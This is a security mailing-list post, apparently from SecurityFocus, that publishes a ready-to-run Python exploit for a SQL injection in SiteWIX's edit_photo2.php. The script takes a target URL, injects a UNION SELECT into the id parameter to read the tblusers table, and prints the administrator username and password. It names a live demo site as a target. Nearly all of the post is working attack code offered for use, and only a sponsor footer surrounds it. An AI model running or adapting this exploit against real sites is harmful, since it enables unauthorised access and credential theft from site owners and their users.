Web Application Security
SiteWIX - (edit_photo2.php id) SQL Injection Exploit Oct 21 2015 12:32PM
ZoRLu Bugrahan (zorlu milw00rm com)
#!/usr/bin/env python
#-*- coding:utf-8 -*-

#Title : SiteWIX - (edit_photo2.php id) SQL Injection Exploit
#Author : ZoRLu / zorlu (at) milw00rm (dot) com [email concealed]
#Website : milw00rm.com / milw00rm.net / milw00rm.org / milw0rm.info
#Twitter : https://twitter.com/milw00rm or @milw00rm
#Test : Windows7 Ultimate
#Discovery : 19/10/15
#Publish : 20/10/15
#Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com,
cxsecurity.com and others
#BkiAdam : B3mB4m, Dr.Ly0n, KnocKout, LifeSteaLeR
#Firstbug : https://www.milw00rm.com/exploits/11133 / PrenS
#Proof : https://www.milw00rm.com/proof/sitewix.jpg
#demo : http://cesurbranda.com/

import re
import os
import sys
import time
import urllib2

if len(sys.argv) < 2:
os.system(['clear','cls'][1])
print "
____________________________________________________________________"
print "|
|"
print "| SiteWIX - (edit_photo2.php id) SQL Injection Exploit
|"
print "| ZoRLu / milw00rm.com
|"
print "| exploit.py http://site.com/path/
|"
print
"|____________________________________________________________________|"

sys.exit(1)

koybasina = "http://"
koykicina = "/"
sitemiz = sys.argv[1]
if sitemiz[-1:] != koykicina:
sitemiz += koykicina
if sitemiz[:7] != koybasina:
sitemiz = koybasina + sitemiz
vulnfile = "admin/ajax/edit_photo2.php"
sql =
"?id=22+union+select+1,2,concat(0x3b3b3b,Password,0x3b3b3b),4,5,concat(0
x3a3a3a,Username,0x3a3a3a)+from+tblusers"
url = sitemiz + vulnfile + sql
print "\nExploiting...\n"
try:
veri = urllib2.urlopen(url).read()
aliver = re.findall(r":::(.*)([0-9a-fA-F])(.*):::", veri)
if len(aliver) > 0:
print "username: " + aliver[0][0] + aliver[0][1] +aliver[0][2]
else:
print "Exploit failed..."
except urllib2.HTTPError:
print "Security!"
try:
veri = urllib2.urlopen(url).read()
aliver = re.findall(r";;;(.*)([0-9a-fA-F])(.*);;;", veri)
if len(aliver) > 0:
print "password: " + aliver[0][0] + aliver[0][1] +aliver[0][2]
print "\nGood Job Bro!"
else:
print "Exploit failed..."
except urllib2.HTTPError:
print "Security!"

This list is sponsored by Cenzic
--------------------------------------
Let Us Hack You. Before Hackers Do!
It's Finally Here - The Cenzic Website HealthCheck. FREE.
Request Yours Now!
http://www.cenzic.com/2009HClaunch_Securityfocus
--------------------------------------

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus